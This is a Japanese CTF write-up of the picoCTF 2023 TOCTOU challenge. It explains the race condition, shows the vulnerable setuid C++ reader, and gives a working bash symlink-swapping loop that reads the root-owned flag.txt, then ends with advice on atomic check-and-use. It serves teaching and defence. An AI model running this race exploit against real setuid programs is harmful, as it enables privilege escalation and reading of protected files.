TOCTOU攻撃を試してみる

# まえがき

TOCTOU攻撃を題材としたCTFの問題を解いたのでまとめてみました。

# TOCTOUとは


> TOCTOU攻撃（Time-of-Check and Time-of-Use Attack）は、あるプロセスのリソースに対するチェック（Time of Check）とリソースの利用（Time of Use）との間に発生するレース・コンディション脆弱性を悪用する攻撃です。
この攻撃では、プログラムがリソースにアクセスする時点と利用する時点との間で攻撃者がリソースを改ざんします。プログラムはチェックした時点とは異なるリソースを利用するため、予期せぬ動作等が発生します。
攻撃者はこの攻撃により特権昇格やコード実行、DoS攻撃等を行うことができます。
-- 引用：[TOCTOU攻撃とは【用語集詳細】](https://www.sompocybersecurity.com/column/glossary/toctou)

### 例

```diff
if (access("file", W_OK) != 0) {
   exit(1);
}

- symlink("/etc/passwd", "file"); <----このタイミングで攻撃コードを実行する

fd = open("file", O_WRONLY);
write(fd, buffer, sizeof(buffer));
```

上記のようなファイルの書き込み権限をチェックしてから書き込むプログラムでは、プログラム実行中に`file`を`/etc/passwd`にリンクさせることにより、`/etc/passwd`に書き込むことができてしまいます。「checkとuseの間」というかなり短いタイミングで攻撃コードを実行させる必要がありますが、意外と簡単に実装することが出来てしまいます。

また、このようなプログラムにおいて、checkとuseの処理を不可分にすることは難しいため、なかなか対策が取りづらい脆弱性であることが知られています。


# TOCTOUを試してみる

picoCTF2023にTOCTOUを題材とした問題があったので実際に攻撃を試してみましょう。　

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/2cd34ee8-a8d8-fbe9-fc57-df464a301549.png)


問題文は以下の通り。

> Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.（誰かがテキストファイルを読み込むプログラムを作成しました。このプログラムはroot権限でファイルを読み込むと思われますが、どうやら実行しているユーザーが所有するファイルしか読み込まないようです。）

ssh接続して中身を見てみると、さっそく `flag.txt` が見つかりました。

```
ctf-player@pico-chall$ ls -la
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Feb 26 02:00 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Feb 26 02:00 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader
```

上記結果を見ると、`flag.txt` にはread権限がないので中身を見ることはできません。

また、問題文にあるように、`txtreader` は誰が実行してもroot権限で実行できてしまうSUIDが設定されており、


```
./txtreader {file-name}
```

でファイルの中身を表示してくれるプログラムのようです。

試しに `flag.txt` を指定してみましたが、権限がないため閲覧できないといわれてしまいました。

```
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file
```

`src.cpp` がそのソースコードなので、中身を見てみましょう。

```
ctf-player@pico-chall$ cat src.cpp 
```

```C
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}
```

ファイルの閲覧権限があるかどうかをチェックして、閲覧権限がある場合にのみファイルの中身を読み込むというプログラムになっています。典型的なTOCTOUの脆弱性があります。

### 攻撃の方針


方針としては、

- ファイルの閲覧権限を確認するときには、自身の所有するダミーファイルを参照させる
- ファイルを読み込む処理までの間に、`flag.txt`を参照するようにシンボリックリンクを作成する
- `flag.txt`を読み込ませる

となります。閲覧権限の確認からファイルの読み取りまでの短い時間にシンボリックリンクの作成を成功させないといけないため、攻撃が成功してプログラムを停止するまで攻撃し続けるプログラムを作成します。


#### エクスプロイトコードの作成

`link` というファイルへのシンボリックリンクを`dummy`と`flag.txt` の間で高速に切り替えるコードを作成します。（ターゲット環境ではvimがないため以下のようにファイルを作成しました）

```:exploit.shの作成
ctf-player@pico-chall$ echo "#/bin/bash
> touch ./dummy
> while :
> do
>   ln -sf ./dummy ./link
>   ln -sf ./flag.txt ./link
> done" > exploit.sh
```

`exploit.sh`に閲覧権限を付与し、バックグラウンドで実行しておきます。これで`link`へのシンボリックリンクが閲覧権限のある`dummy`と閲覧権限のない`flag.txt`で高速に切り替わり続けます。

```
ctf-player@pico-chall$ chmod +x exploit.sh
ctf-player@pico-chall$ ./exploit.sh &
[1] 47
```

Errorメッセージを表示しないようにしつつ、`txtreader`を無限に実行させます。

```:攻撃
ctf-player@pico-chall$ while true;do ./txtreader link ;done |& grep -v Error
picoCTF{****************}
picoCTF{****************}
picoCTF{****************}
picoCTF{****************}
^C
```

`flag.txt`の中身が閲覧できました。


# あとがき

今回体験したように、TOCTOUの脆弱性は簡単に悪用できてしまうため、脆弱性を残さないようにcheckとuseを不可分にするような実装が不可欠です。

例えば、アプリケーション開発における注文処理において、在庫確認と発注を別のトランザクションにしてしまった場合、途中で在庫数が変わったにも関わらず発注できてしまうといったバグが生まれてしまう場合があります。このような場合は、在庫確認と発注を同じトランザクションで行うことによって間に処理が入ることを防ぐ必要があります。

また、ミドルウェアでは不可分操作を実現するための機能が用意されているため、正しく利用して実装することが求められます。

https://zenn.dev/kittybbit/articles/dfd7284f5ff10a

今回の問題のようなケースでは、別のプロセスが実行されないような制御を行うことは残念ながら難しいため、こういったプログラムがサーバ内にある場合、サーバ侵入後に悪用される可能性が高いといえるため注意が必要です。